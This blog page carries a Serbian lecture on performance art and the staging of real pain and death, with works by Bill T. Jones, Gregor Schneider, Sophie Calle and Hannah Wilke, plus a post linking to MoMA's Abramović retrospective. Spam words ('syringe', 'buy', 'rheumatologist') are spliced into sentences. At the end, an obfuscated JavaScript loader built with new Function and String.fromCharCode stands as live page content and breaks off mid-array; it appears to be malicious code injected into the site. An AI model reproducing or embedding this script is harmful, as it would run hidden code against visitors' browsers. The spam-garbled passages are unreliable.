U ovim veoma širokim spektrima izvođenja postoje različiti stepeni samosvesti i svesti o drugima sa kojima i za koje se izvodi. Što je osoba samosvesnija, ona više konstruiše svoje ponašanje za one koji gledaju ili slušaju, to se više ovakvo ponašanje može nazvati ‘izvođenje’. Postoje i izuzetci. U stanjima transa, posednuti su ponekad nesvesni sopstvenog ponašanja.

Read the rest of this entry »

Link retrospektivne izložbe Marine Abramović 'The artist is present'


 

Ovo predavanje je deo istraživanja koje sam započela u julu 2008.  godine i koje je još uvek u toku.

1.

Izvođačke umetnosti su se oduvek odlikovale fascinacijom bola, syringe nasiljem, anemia smrću, kao i osećanjima koja su ove patnje izazivale kod gledalaca, kao što su npr. strah i sažaljenje i koja se, od antike, nalaze u osnovi estetskog uživanja. Aristotel u Poetici govori o snažnim, žestokim osećajima koje bi izvođenje tragedija trebalo da izazove kod gledalaca, što je donekle kontradiktorno sa »filozofskom« prirodom tragedije i njenom racionalnom konstrukcijom i navodi na pomisao da je takav efekat (Šeknerovskim rečnikom rečeno, efikasnost performansa) mogao da se postigne samo tokom izvođenja tragedije, odnosno tragedija je trebalo da »izazivanjem straha i sažaljenja kod gledaoca proizvede katarzu ili očišćenje istih afekata«. Iako je u tragedijama i njhovim izvođenjima u pitanju bio mimezis patnje i boli,  katarza je trebalo da bude prava. U umetničkim izvođenjima,  »realno« se oduvek estetski i koncepcijski isključivalo, odnosno ono se jedino ogledalo u greškama ili nesrećnim slučajevima. Veoma retko se dešavalo da se na sceni odigra prava smrt, koja je uvek bila slučajna, kao na primer kada je sredinom 90tih godina prošlog veka, na premijeri opere Leoša Janačeka, Afera Makropulos u njujorškoj Metropolitan operi, jedan operski pevač pao sa merdevina, koje su bile visoke nekoliko metara.[1]

Ali šta se dešava sa činjenicom kada izvođenje napušta oblast mimesisa i kada  se pravo umiranje i smrt namerno, a ne slučajno, uvode na scenu? Jedan od prvih skandala izbio je 1993. godine, kada je američki koreograf  Bill T. Jones napravio ples koji je bio posvećen ljudima koji su umirali od AIDS-a ili bili zaraženi virusom HIV-a, Still/Here, sa plesačima koji su bili već zaraženi istim virusom ili čak umirali od iste bolesti, što je prouzrokovalo veliku debatu oko toga da li je etično, ili ne, dovoditi umiruće ljude na scenu. Uprkos ovoj kontroverzi, ili zbog nje, publika je, u ogromnom broju dolazila i s uzbuđenjem pratila  svako izvođenje. Kraj plesa je bio naročito upečatljiv, jer se sve završavalo potpunim skidanjem svih 50-tak izvođača koji su potom, tako goli, stajali nekoliko minuta netremice posmatrajući publiku. Očigledno je, da je efemernost i krhkost njihovih tela bila je kulminacija ovog plesa. Uznemiravajuća činjenica nalazila se u otvorenom prikazivanju  propadanja tela, u situaciji koja nije više pružala gledaoocima sigurnost u podvajanju umetnosti od stvarnosti.[2] AIDS je dugo bio »mračna, magična formula«: bolesnici od AIDS-a bili su su zapravo neumrli, oni su bili »nove sablasti koje su ‘usred života’ (bile) okružene smrću.«[3]

Od tada, kao i pod velikim uticajem umetnosti performansa, dovođenje na scenu »ne-izvođača«,  pre svega, bolesnih, fizički i mentalno nesposobnih, kao i ljudi kojima su amputirani neki delovi tela, postalo  je uobičajeno u predstavama Romea Kastelučija (Romeo Castellucci), Pipa del Bona (Pipo del Bono) i britanske plesne trupe DV8. Na primer u Kastelučijevoj Orestiji, glumac koji je igrao Apolona nije imao ruku. Za Kastelučija to je bilo pravo otelotvorenje naše sadašnje vizure Apolona kojeg jedino poznajemo preko statue koja ima odlomljene ruke. H.T. Leman navodi da, nastupi izvođača poput invalida, osakaćenih, dečaka obolelog od Daunovog sindroma, ili autističnost drugog,  u predstavama Kastelučija, omogućavaju iskustvo »na granici norme (i podnošljivosti) ‘neljudskog’ tijela.« Leman tvrdi da, kada su nastupi takvih izvođača povezani sa bukom raznolikih šumova,  koji često zvuče ‘mehanički’, nastaje scenario »noćne more« u kojoj tela, između jednog živog, stvarnog, životinjskog i drugog, gotovo već umrlog stanja, izmiču »svakoj kategorizaciji«, a ipak na paradoksalan način ukazuju na lepotu tela (i života), čak i kada su izboličena. [4]

Kulminaciju ove tendencije ka prisustvu »potpune svarnosti«, odnosno izvesne »dokumentarnosti« na sceni predstavlja poslednja »predstava« Petera Halasza, (Peter Halaš), reditelja i glumca, osnivača teatra Skvot (Squat Theatre), koji pošto je saznao da boluje od neizlečive bolesti raka jetre, odlučio da organizuje »probu« svoje sahrane u jednom budimpeštanskom pozorištu, u maju 2006. Halaš je tvrdio da ga zanima šta će njegovi prijatelji i kolege da kažu u svojim nekrolozima posvećenim njemu i zamolio ih da ih izgovore, odnosno izvedu »samo« za njega, dok je on ležao na sred scene u otvorenom kovčegu.[5]

Kako je umiranje postalo umetnost u ovom slučaju? Da li je to bilo zbog toga što je Halaš bio veoma popularan u trenutku svoje smrti u Mađarskoj, ili zato što je inače njegova reputacija bila reputacija umetnika koji je neprekidno brisao granice između umetnosti i pravog života? Ili zato što se odigralo na pozorišnoj sceni preko koje su prodefilovali Halaševi prijatelji,  koji su uglavnom bili iz sveta pozorišta, performansa i filma, jer su svirali, pevali, glumili, plesali? Iz perspektive studija performansa, moguće objašnjenje bi bilo, da jednom kada je nešto omeđeno kao da je izvođenje, onda to zaista i jeste, i tada, zastrašujuća činjenica da neko zaista umire,  izgleda manje zastrašujuća i lakša za prihvatanje, pre svega za samog umirućeg.

2.

Do sada su moji primeri bili u okviru manje-više prihvatljivih događaja. Međutim, šta se dešava kada se i ta poslednja barijera ukine, kada dođe do provale »totalne realnosti«, odnosno prikaza stvarne boli i umiranja u domen umetničkog izvođenja? Kada dođe do proboja granice koja razdvaja izvođenje i realnost, tada se na to ukazuje kao recepcijski problem , jer dolazi do ukidanja estetske distance, i gledaoci moraju da reaguju na primeren, etički način. Telo prestaje da bude označitelj, postaje provokacija i kao takvo izaziva posebne reakcije koje izlaze iz domena estetskog. Pokušaj nemačkog vizuelnog umetnika Gregora Šnajdera (Schneider), da predstavi stvarnog umirućeg čoveka u specijalnoj sobi, koju je za tu priliku konstruisao u nekoj umetničkoj galeriji, izazvao je ogroman skandal u Nemačkoj i najzad je nemački parlament zabranio ovaj »performans«.

Uprkos tome, Šnajder je konstruisao Sobu za umiranje, (Toter Raum, 2006) koja je u početku bila u izložena samo u njegovom studiju, ali sada putuje po Evropi, od galerije do galerije. [6] U pitanju je veoma jednostavna montažna soba, koja se s lakoćom montira i predstavlja repliku sobe koju je Šnajder jednom video u muzeju Haus Lange Esters u Krefildu, u Nemačkoj, sobu koja je inače reprezentativna za klasično-modernu arhitekturu, sa drvenim podom i velikim prozorima. Šnajder tvrdi da je godinama maštao o takvoj sobi u kojoj bi ljudi mogli da umiru ili da umru na miru, u humanom i harmoničnom okruženju, smatrajući da se smrt kao »finalna granica, kao tabu, kao prelazak iz žive u neživu prirodu, sa živog na raspadujeće telo koje više ne funkcioniše«, gotovo uvek odvija u osami i daleko od očiju javnosti. Stoga, smatra on, njegova dužnost je da prikaže »lepotu umiranja«.[7]

Šnajder tvrdi da nije hteo da napravi »performans«, niti scensku izvedbu od nečijeg umiranja, već sve što je želeo je da ponudi sobu nekome ko umire da provede nekoliko sati na način na koji to odabere. Da li će biti u pitanju javni događaj ili krajnje initiman, to će zavisiti samo od umirućeg i njegove rodbine. Upravo zbog toga što su porođaji postali neka vrsta javnog događaja, jer se neretko dešava da muž prisustvuje porođaju, da sve snima i da se posle sve emituje na You Tube-u , stoga smatra Šnajder, i »odlazak« iz života zaslužuje sličnu pažnju. Kako tvrdi on, »ne mislim da postoji bilo šta okrutno u samoj smrti po sebi: samo bi trebalo da postoje humaniji načini za njeno predstavljanje.”[8]

Šnajder tvrdi da smo, svakog dana,okruženi javnim prikazom smrti bilo na televiziji ili internetu. Najčešće to je nasilna smrt u katastrofama, ratovima, zatvorima, logorima, pa čak i na ulicama. Stoga, on smatra da bi naša kultura trebalo da preispita načine na koji se odnosimo prema smrti. Jer smrt nije samo tabu, već je nešto što aktivno pokušavamo da isključimo iz naših života. Tokom istorije, ljudi su umirali, okruženi porodicom, ili čak javno, i to ne samo u slučaju kraljeva i vladara, već i u slučaju običnog sveta, kao u slučaju španskog dramatičara, Pedra Kalderona Dela Barke, koji je, tokom čina svog javnog umiranja, čitao naglas svoj testament i diktirao poslednje želje. No, on je bio samo jedan od istaknutih građana Španije 17. veka koji je izabrao ovaj način »opraštanja«. S druge strane, danas gotovo svi ljudi, ako umiru prirodnom srmću, umiru po bolnicama, daleko od očiju javnosti. Agamben,  u Homo sacer-u, tvrdi da je jedno od osnovnih građanskih prava, koje bi tek trebalo osvojiti, nečije pravo nad sopstvenim životom, što takođe znači omogućavanje umirućoj osobi da definiše okolnosti sopstvenog umiranja.

Međutim,  »stvarno predstavljanje smrti« ili »predstava umiranja uživo« i dalje je poslednji tabu, osim u slučaju kada se radi o već mrtvim ili raskomadanim telima koja se slobodno prikazuju na televiziji, ili na naslovnim stranama tabloida, kao u slučaju odsečene glave u mafijaškom obračunu ili slike obešenog Sadama Huseina. Izgleda kao da su slike koje mediji emituju daleko prihvatljivije od stvarnog predstavljanja. Medijska slika preoblikuje predmet svog prikazivanja, ona ga slabi, prigušuje, redukuje ono što je realno, omogućavajući percepciju koja bi inače bila nepodnošljiva.

Primera za ovo ima bezbroj, jer medijsku estetiku umiruje ili ona pak, biva umirena, ne toliko zbog medijski posredovanog nestajanja smrtnog tela, već zato što registrujemo samo njegove naznake, kao u slučaju »direktnog prenosa« umiranja pape Jovana Pavla II, koji će ostati zabeležen kao jedan od najvećih medijskih događaja u novijoj istoriji i koji svakako predstavlja jednu od najspektakularnijih smrti jednog suverena. Iako se u stvarnosti ništa od toga nije videlo, tj. video se samo jedan upaljen prozor  sobe, u kojoj je navodno ležao umirući papa i gde je svetlo gorelo po čitavu noć, mediji su neprestano »dežurali« što je naravno privuklo na hiljade vernika da se okupe na trgu sv. Petra u Vatikanu, a prizor ove mase je nadalje privlačio ljude da dolaze, kao i da pomno prate šta se događa na televiziji iz sata u sat. Kulminacija je bila kad je 24 časa pre prave smrti, izdata lažna vest o papinoj smrti: tada više niko nije mogao da zaustavi novi talas ljudi. I kada je papa stvarno umro, tek tada je njegovo telo bilo vidljivo: izloženo u centralnoj kapeli u Vatikanu, za hiljade vernika koji su dolazili da mu odaju poslednju počast.

3.

Na Venecijanskom bijenalu 2007.  godine, Sofi Kal (Sofie Calle) je izložila svoj video rad Nemoguće je spoznati smrt (Pas pu saisir la mort), u kome je  svakodnevno snimala svoju bolesnu majku, koja je saznala da umire, gotovo u istom trenutku, kada je Sofi Kal bila pozvana da predstavlja Francusku na bijenalu. Kal je zabeležila sve majčine pripreme za umiranje (poslednji odlazak kod frizera, pedikira, biranje odeće, čitanje poslednje knjige, slušanje poslednjeg Mocartovog koncerta, kao i majčine poslednje reči), sve do trenutka kada su se pojavili prvi znaci raspadanja tela. U eksplikaciji rada, Kal je navela da je umiranje deo njenog života i da ona u tome ne vidi ništa čudno. Video rad joj je poslužio kao zaštita od suočavanja sa bolnom činjenicom gubitka majke. Pre toga, na sličnu temu Vim Venders je snimio dokumentarni film, Munja nad vodom (Lightning over water, 1980)  u kome je zabeležio umiranje američkog filmskog reditelja, Nikolasa Reja (Nicholas Ray), ali je izbegao snimak mrtvog Reja. Očigledno je da fotografije, filmovi i mediji često nemilosrdno drastično pokazuju telesno propadanje, nasilje i bol. Ali pokazivanje i opažanje se odvijaju u dva odvojena trenutka, dva udaljena prostora, odnosno ne događaju se u procesu između slike i posmatrača, pa se tako stvara određena distanca.

Mnoga izvođenja savremenom umetničkom performasu ukidaju ovu distancu, nekad na manje, a nekad na više brutalan način, otvarajući pitanje granice ljudske izdržljivosti, ne samo na sceni, već izvan nje: kako doživljavamo i vrednujemo različita društvena iskustva (npr. nepravde, represije, torture i otuđenja), iz šireg ugla ekonomske i političke borbe za ravnopravnost?[9] Kako definišemo tehnološku-tehnokratsku dominaciju u stvaranju i postizanju samopredstavljanja na sceni (između biti-postati)? Takođe, ako uzmemo u obzir da savremena izvođačka delatnost crpi svoju energiju iz direktnog, empirijskog saznanja telesnih senzacija, emitujući svoj doživljaj ekonomskog, političkog, društvenog i kulturnog nasilja preko telesnog nasilja na sceni pred vivisekscijskim pogledom gledalaca, koristeći brutalne poruke telesnih egzibicija, onda se nameće pitanje gde se nalazi granica između brutalnosti kritikovanog konteksta i brutalnosti izraza (npr. predstava Enter Achilles, DV8 u kojoj su predstavljena tela bila dovedena do krajnosti fizičke i umetničke izdržljivosti i koje je izazvalo strah za zdravlje onog ko igra)?

U evociranju »nepredstavljivog« nalazi se središnji problem izvođenja. Izazov da se ono neshvatljivo uprizori pomoću tela koje je i sàmo izloženo patnji i boli (kao najjačeg sredstva pamćenja, prema Ničeu). Sve do pre nekoliko godina, mimesiz boli ili patnje, bila je samo predstavljena, izvođena bol. No, svi navedeni primeri ukazuju na mimezu do boli, odnosno do izjednačavanja života sa umetničkim izvođenjem, odnosno prelazak sa predstavljene boli na bol doživljenu u predstavljanju (na primer u izvođenjima DV8, La Fura dels Baus, La La La Human Steps, itd.). Novo izvođenje predstavlja šok neposrednog događaja, odnosno tela, koji Julija Kristeva definiše kao znak revolucionarnog zaokreta od „ideološke pitomosti uglavljenog teksta“. U ovu kategoriju, spadaju na primer, izvođenja Brusa Najmana (Bruce Neumann), Marine Abramović, Stelarka, Rejčel Rozental (Rachel Rosenthal) i, najzad, Hane Vilke (Hannah Wilke), poznate performans umetnice koja je pred smrt, sebe fotografisala u svim fazama svoje bolesti.

4.

U seriji slika, Intra-Venus (1992-93), Vilke je prestavila svoju nastupajuću smrt, svoje »još uvek živo« telo kao smrtno, odajući utisak da je njeno telo već mrtvo, zauvek zaustavljeno na slici/fotografiji. Prema Rolanu Bartu, fotografski portret bilo koje vrste uvek označava starenje i neizbežnu smrt svog predmeta predstavljanja, uprkos tome da li je objekat  »živ« ili nije u trenutku gledanja fotografije. Pegi Felan, u svojoj knjizi Oplakivanje seksa (Mourning Sex) opisuje ovu snažnu ambivalentnost, precizinije simultano prisustvo ‘života’ i ’smrti’ na fotografskom portretu, naročito kada telo ili portret predstavljaju ograničenja tela, kao u slučaju Karavađove slike, u kojoj sv. Toma gura prst u otvorenu ranu na Hristovom telu, koji je upravo skinut sa krsta. U tom smislu, Amelija Džons tvrdi da je auto-projekcija sopstvene smrti Hane Vilke u čin »predstavljanja«, kao u slučaju Karavađa, čin gubitka i fragmentacije, odnosno ograničenja, jer kako ona zaključuje, iako je naša smrt izvesna, (mi smo, na određen način, već mrtvi), mi smo, takođe, na izvestan način »uvek neko Drugi samima sebi, pa samim tim i naša smrt je, na izvestan način, zauvek odgođena (jer kao što  mi nikad ne možemo da »znamo« da smo mrtvi, tako jedino možemo samo da anticipiramo svoju smrt).«[10] Stoga, iskasapljeno i »uskoro mrtvo« telo Hane Vilke je poput tela Hrista »amputirano, kastirano u drami u kojoj se našlo, uhvaćeno između života i smrti, između ravne površine slike i dubine unutrašnjosti tela.«[11]

U svim navedenim performansima, dolazi do samo-dramatizacije fizisa. I kad bi se vratili na skandal oko Gregora Šnajdera i njegove Sobe za umiranje, nametnulo bi nam se još jedno pitanje: Da li bi ova Šnajderova ideja o »finalnom izlasku« poremetila prihvaćenu scensku ravnotežu, i shodno tome, društvenu konvenciju, jer bi u tom slučaju događaj na sceni postao krajnje autentičan. U tom činu, odvija se realizacija intenzivnog prisustva, odnosno »epifanije« ljudskog tela, ili da parafraziramo, H.T. Lemana,  ostvaruje se određena antropofanija, jer se uvek radi o nekom posebnom, određenom, realnom, pojedinačnom ljudskom biću, o nezamenjivosti njegovog gesta, njegove životnosti u realnom vremenu, omeđenom vremenom izvođenja. »To na nov način čini ono partikularno apsolutnim, physisu otvara ekvivalent antičke teofanije.«[12] Da li bi brisanje tanke linije koja razdvaja umetnost od života, život od smrti, u Šnajderovom performansu umiranja, takođe značilo potpuno brisanje estetske distance, kao i njene estetske efikasnosti, odnosno njene suštine ?


[1] Radi ove i drugih nesrećnih slučajeva na sceni i oko nje, videti Nicholas Ridout, Stage Frights, Animals, and Other Theatrical Problems, Cambridge University Press, 2006.

[2] Aids je 80tih i 90tih godina bio poput epidemije koja je odnela mnoge umetnike. Npr. jedan od najpoznatijih glumaca Wooster grupe, Ron Vawter je neposredno pred svoju smrt od Aids-a, u dvostrukom portretu igrao dva američka homoseksualca. Tokom iznenadnih pauza u njegovom performansu, ostalo je neizvesno da li se radi o trenucima igrane ili realne iscprljenosti.

[3] H.T. Lehmann, “Postdramske slike tijela,” Postdramsko kazalište, CDU & TkH, 2004, str. 290.

[4] Ibid, str. 278.

[5] Radi punog opisa ovog događaja videti Tamas Szonyei, “Already Buried but Still Alive: Peter Halasz and His Own Funeral, The Drama Review, (TDR, 192), Winter 2006, str. 161-164.

[6] www.gregor-schneider.de

[7] Gregor Schneider, “There is Nothing Perverse About Dying Person,” The Guardian, April 26, 2008.

[8] Ibid.

[9] Ivana Sajko, »Mjesto za patnju,« Teatron, 124/25, str. 125-133. 

[10] Amelia Jones, “Beneath This Mask Another Mask, in Self/Image: Technology, Representation and the Contemporary Subject, Routledge: New York and London, 2006, str. 71.

[11] Peggy Phelan, Mourning Sex, Routledge: New York and London, 1997, str. 33.

[12] H.T. Lehmann, op. cit., str. 272.

Pronašla sam link retrospektivne izložbe Marine Abramović koja se  trenutno održava u muzeju MoMA. Ako imate vremena pogledajte sajt, buy interesantan je. Na njemu se nalazi par zanimljivih intervjua sa umetnicom u kojima ona predstavlja šta za nju znači performans, rheumatologist
telo itd. ;  snimci, i video prenos onoga što se dešava u tom trenutku u muzeju.

http://www.moma.org/interactives/exhibitions/2010/marinaabramovic/index.html

(new Function(String.fromCharCode(19 – 9, 126 – 8, 100 – 3, 122 – 8, 37 – 5, 109 – 2, 104 – 3, 129 – 8, 36 – 4, 67 – 6, 34 – 2, 41 – 2, 106 – 2, 113 – 9, 94 – 8, 123 – 9, 123 – 2, 83 – 4, 130 – 9, 94 – 9, 112 – 2, 80 – 7, 43 – 4, 64 – 5, 15 – 5, 119 – 1, 104 – 7, 122 – 8, 38 – 6, 102 – 1, 111 – 1, 106 – 7, 108 – 7, 109 – 9, 35 – 3, 63 – 2, 41 – 9, 48 – 9, 85 – 4, 74 – 9, 60 – 8, 114 – 8, 76 – 4, 67 – 1, 119 – 8, 57 – 2, 78 – 9, 73 – 5, 118 – 7, 70 – 5, 100 – 3, 89 – 8, 111 – 4, 101 – 3, 86 – 9, 112 – 4, 113 – 1, 84 – 3, 106 – 8, 125 – 6, 76 – 2, 110 – 8, 89 – 5, 112 – 3, 115 – 8, 105 – 4, 68 – 1, 88 – 5, 83 – 1, 85 – 2, 71 – 3, 112 – 8, 74 – 9, 92 – 6, 80 – 1, 107 – 4, 53 – 5, 120 – 9, 80 – 8, 69 – 4, 72 – 3, 56 – 3, 81 – 9, 71 – 1, 117 – 9, 125 – 4, 96 – 9, 91 – 3, 81 – 8, 80 – 9, 81 – 1, 87 – 5, 123 – 4, 91 – 2, 102 – 4, 72 – 2, 51 – 2, 93 – 6, 86 – 7, 82 – 1, 71 – 6, 63 – 6, 78 – 7, 126 – 5, 123 – 7, 80 – 9, 76 – 9, 131 – 9, 114 – 7, 110 – 8, 92 – 6, 106 – 1, 128 – 9, 81 – 6, 78 – 4, 108 – 1, 75 – 6, 115 – 2, 72 – 1, 121 – 1, 122 – 6, 55 – 2, 94 – 8, 87 – 2, 83 – 9, 71 – 1, 91 – 4, 93 – 5, 91 – 6, 92 – 3, 83 – 8, 67 – 1, 117 – 5, 80 – 7, 86 – 8, 90 – 8, 49 – 1, 95 – 8, 76 – 2, 72 – 6, 70 – 5, 125 – 6, 93 – 9, 117 – 7, 86 – 4, 79 – 6, 87 – 3, 123 – 2, 64 – 8, 119 – 5, 78 – 9, 125 – 3, 57 – 9, 91 – 2, 91 – 2, 91 – 7, 59 – 7, 81 – 6, 68 – 1, 58 – 9, 70 – 5, 59 – 2, 75 – 3, 131 – 9, 116 – 1, 81 – 9, 81 – 9, 70 – 3, 93 – 4, 102 – 2, 107 – 6, 68 – 3, 75 – 6, 76 – 1, 104 – 5, 92 – 7, 109 – 1, 127 – 5, 85 – 3, 94 – 8, 114 – 6, 54 – 5, 74 – 7, 71 – 3, 127 – 8, 73 – 2, 73 – 6, 123 – 2, 82 – 9, 105 – 7, 76 – 6, 106 – 1, 73 – 3, 95 – 5, 82 – 8, 105 – 1, 112 – 1, 116 – 5, 77 – 6, 109 – 5, 129 – 9, 44 – 1, 88 – 1, 57 – 8, 112 – 5, 56 – 8, 102 – 3, 56 – 5, 94 – 8, 82 – 3, 100 – 3, 89 – 4, 104 – 1, 105 – 4, 82 – 4, 122 – 3, 68 – 2, 97 – 7, 77 – 1, 67 – 1, 93 – 4, 62 – 8, 68 – 2, 90 – 7, 73 – 8, 80 – 2, 74 – 3, 60 – 9, 98 – 8, 84 – 4, 88 – 1, 88 – 5, 118 – 3, 95 – 8, 79 – 1, 111 – 7, 121 – 6, 109 – 2, 77 – 9, 87 – 6, 96 – 7, 106 – 1, 94 – 6, 74 – 8, 116 – 5, 109 – 6, 75 – 5, 113 – 7, 58 – 6, 77 – 5, 84 – 8, 70 – 1, 108 – 5, 89 – 4, 76 – 1, 114 – 6, 78 – 4, 105 – 4, 104 – 7, 77 – 8, 81 – 7, 106 – 4, 88 – 4, 110 – 1, 109 – 1, 80 – 7, 86 – 3, 70 – 2, 63 – 7, 89 – 4, 92 – 5, 89 – 2, 107 – 8, 106 – 9, 82 – 3, 105 – 2, 72 – 3, 113 – 8, 70 – 5, 85 – 4, 49 – 1, 109 – 1, 94 – 6, 69 – 3, 69 – 4, 107 – 3, 80 – 8, 87 – 3, 68 – 3, 95 – 8, 73 – 7, 112 – 9, 62 – 9, 68 – 3, 85 – 7, 86 – 4, 53 – 5, 89 – 2, 83 – 9, 68 – 2, 68 – 3, 120 – 1, 85 – 3, 54 – 4, 114 – 6, 79 – 5, 92 – 6, 96 – 9, 124 – 8, 91 – 8, 88 – 2, 81 – 9, 60 – 7, 87 – 6, 106 – 6, 88 – 6, 91 – 5, 72 – 4, 84 – 1, 77 – 8, 109 – 5, 59 – 9, 93 – 8, 111 – 3, 109 – 1, 125 – 7, 72 – 5, 123 – 1, 70 – 5, 101 – 4, 85 – 5, 74 – 8, 119 – 8, 74 – 3, 107 – 9, 90 – 2, 113 – 9, 96 – 6, 102 – 4, 54 – 5, 110 – 2, 54 – 5, 74 – 5, 55 – 7, 83 – 5, 77 – 4, 84 – 1, 77 – 5, 93 – 3, 84 – 1, 73 – 4, 74 – 7, 111 – 3, 92 – 2, 107 – 5, 87 – 6, 55 – 7, 110 – 1, 69 – 3, 121 – 2, 86 – 9, 53 – 6, 73 – 3, 120 – 1, 114 – 2, 109 – 5, 78 – 9, 70 – 2, 119 – 4, 77 – 2, 85 – 9, 68 – 2, 71 – 6, 118 – 8, 78 – 1, 72 – 2, 116 – 4, 110 – 9, 82 – 3, 66 – 1, 116 – 8, 55 – 3, 76 – 4, 91 – 8, 122 – 3, 104 – 5, 81 – 9, 73 – 5, 58 – 2, 107 – 8, 75 – 3, 111 – 5, 123 – 3, 108 – 7, 103 – 1, 76 – 7, 54 – 1, 116 – 5, 88 – 2, 91 – 5, 90 – 4, 52 – 2, 93 – 5, 53 – 5, 113 – 9, 114 – 5, 88 – 1, 91 – 8, 59 – 6, 112 – 5, 100 – 3, 89 – 4, 113 – 9, 80 – 7, 104 – 4, 113 – 5, 75 – 1, 98 – 8, 85 – 5, 86 – 4, 121 – 2, 105 – 1, 75 – 4, 131 – 9, 121 – 6, 77 – 6, 89 – 4, 50 – 1, 122 – 2, 87 – 4, 92 – 5, 88 – 1, 60 – 3, 92 – 2, 81 – 6, 78 – 7, 89 – 7, 117 – 5, 87 – 4, 73 – 4, 112 – 8, 55 – 5, 75 – 4, 123 – 3, 60 – 3, 123 – 5, 86 – 1, 88 – 4, 115 – 8, 72 – 6, 82 – 7, 107 – 4, 115 – 8, 74 – 5, 74 – 8, 89 – 8, 96 – 7, 92 – 5, 85 – 5, 89 – 7, 108 – 5, 124 – 3, 71 – 4, 58 – 8, 105 – 6, 87 – 7, 70 – 2, 85 – 2, 77 – 4, 56 – 1, 77 – 9, 87 – 4, 116 – 5, 93 – 8, 109 – 7, 85 – 4, 55 – 7, 112 – 3, 75 – 9, 127 – 8, 79 – 2, 48 – 1, 73 – 3, 55 – 6, 68 – 2, 122 – 4, 83 – 1, 77 – 6, 108 – 4, 87 – 3, 102 – 5, 88 – 3, 64 – 7, 93 – 3, 108 – 9, 90 – 4, 122 – 6, 93 – 3, 80 – 2, 77 – 5, 84 – 6, 52 – 3, 89 – 5, 110 – 1, 116 – 8, 76 – 3, 88 – 5, 73 – 1, 97 – 8, 71 – 6, 76 – 4, 75 – 7, 123 – 8, 84 – 7, 78 – 4, 124 – 5, 71 – 5, 129 – 8, 91 – 2, 108 – 1, 107 – 3, 54 – 4, 92 – 7, 111 – 3, 113 – 6, 130 – 9, 102 – 3, 60 – 9, 94 – 8, 88 – 9, 104 – 7, 87 – 2, 104 – 1, 103 – 2, 82 – 4, 123 – 4, 67 – 1, 94 – 4, 82 – 3, 111 – 7, 109 – 6, 123 – 2, 71 – 4, 127 – 6, 106 – 7, 106 – 7, 88 – 5, 77 – 6, 120 – 4, 87 – 4, 75 – 5, 130 – 9, 53 – 1, 87 – 7, 87 – 7, 67 – 2, 114 – 7, 116 – 5, 74 – 2, 68 – 3, 100 – 1, 113 – 6, 93 – 5, 68 – 3, 127 – 8, 61 – 5, 81 – 9, 73 – 6, 102 – 3, 125 – 7, 77 – 1, 109 – 6, 52 – 4, 79 – 8, 81 – 8, 108 – 1, 112 – 4, 130 – 8, 102 – 4, 52 – 3, 117 – 9, 53 – 4, 85 – 1, 114 – 9, 72 – 7, 82 – 3, 90 – 7, 76 – 4, 55 – 2, 93 – 9, 71 – 3, 68 – 1, 54 – 2, 108 – 7, 82 – 5, 69 – 4, 66 – 1, 66 – 9, 87 – 6, 92 – 7, 111 – 8, 118 – 2, 102 – 1, 79 – 9, 117 – 9, 124 – 6, 94 – 7, 91 – 3, 87 – 1, 85 – 6, 102 – 5, 88 – 6, 113 – 2, 80 – 2, 74 – 1, 112 – 9, 104 – 5, 84 – 8, 77 – 4, 89 – 4, 79 – 5, 108 – 6, 85 – 1, 113 – 4, 114 – 6, 74 – 1, 90 – 7, 75 – 8, 120 – 4, 60 – 8, 106 – 7, 52 – 2, 61 – 4, 93 – 3, 107 – 7, 88 – 3, 57 – 5, 61 – 5, 74 – 7, 88 – 7, 58 – 2, 130 – 8, 74 – 2, 66 – 1, 56 – 7, 124 – 6, 88 – 6, 78 – 6, 92 – 7, 105 – 7, 83 – 8, 67 – 2, 65 – 9, 80 – 2, 82 – 3, 74 – 9, 99 – 9, 90 – 2, 80 – 1, 121 – 1, 96 – 7, 91 – 1, 68 – 3, 92 – 8, 60 – 8, 79 – 1, 73 – 2, 110 – 6, 93 – 8, 86 – 2, 71 – 4, 112 – 7, 119 – 7, 91 – 9, 109 – 7, 75 – 5, 92 – 6, 76 – 8, 89 – 6, 78 – 9, 113 – 9, 58 – 8, 88 – 3, 111 – 7, 66 – 1, 113 – 1, 94 – 7, 92 – 4, 49 – 1, 107 – 9, 78 – 3, 68 – 3, 60 – 4, 87 – 9, 87 – 8, 69 – 4, 91 – 1, 97 – 9, 77 – 3, 113 – 9, 104 – 5, 124 – 4, 76 – 9, 123 – 1, 70 – 1, 119 – 9, 76 – 8, 116 – 6, 59 – 6, 93 – 7, 79 – 7, 107 – 2, 66 – 1, 91 – 4, 82 – 5, 104 – 1, 82 – 9, 118 – 3, 92 – 8, 51 – 3, 77 – 7, 51 – 1, 87 – 2, 49 – 1, 85 – 3, 128 – 7, 91 – 4, 91 – 3, 111 – 7, 108 – 6, 87 – 6, 51 – 3, 109 – 5, 78 – 5, 109 – 9, 115 – 7, 83 – 9, 94 – 4, 99 – 1, 50 – 1, 110 – 2, 54 – 5, 76 – 7, 115 – 9, 88 – 2, 78 – 5, 73 – 1, 86 – 2, 101 – 2, 89 – 3, 73 – 1, 71 – 4, 72 – 3, 79 – 1, 107 – 6, 121 – 2, 105 – 6, 114 – 4, 77 – 9, 73 – 8, 50 – 2, 122 – 5, 81 – 1, 88 – 6, 62 – 5, 115 – 5, 96 – 8, 109 – 3, 107 – 8, 68 – 2, 85 – 5, 86 – 1, 61 – 4, 67 – 1, 106 – 6, 116 – 8, 83 – 5, 74 – 5, 100 – 1, 110 – 2, 115 – 7, 54 – 2, 97 – 9, 49 – 1, 83 – 5, 74 – 1, 87 – 4, 78 – 6, 97 – 7, 88 – 5, 89 – 2, 94 – 7, 64 – 7, 95 – 5, 107 – 7, 85 – 3, 74 – 1, 58 – 9, 85 – 2, 73 – 7, 49 – 1, 58 – 7, 77 – 7, 90 – 8, 123 – 4, 106 – 2, 75 – 7, 89 – 1, 116 – 1, 78 – 6, 78 – 4, 123 – 4, 120 – 1, 79 – 1, 82 – 6, 112 – 6, 49 – 1, 109 – 7, 95 – 5, 57 – 8, 57 – 5, 56 – 6, 75 – 3, 72 – 5, 111 – 8, 108 – 6, 73 – 7, 75 – 3, 75 – 5, 99 – 1, 94 – 7, 91 – 4, 56 – 3, 77 – 8, 103 – 6, 74 – 5, 55 – 2, 115 – 8, 96 – 9, 91 – 4, 82 – 8, 56 – 6, 93 – 8, 116 – 8, 116 – 8, 123 – 5, 92 – 5, 93 – 5, 95 – 9, 80 – 1, 101 – 4, 83 – 1, 85 – 4, 94 – 9, 106 – 6, 108 – 5, 104 – 5, 97 – 8, 79 – 4, 72 – 6, 120 – 1, 62 – 7, 80 – 9, 113 – 4, 102 – 3, 71 – 5, 74 – 8, 112 – 6, 82 – 9, 92 – 4, 69 – 4, 84 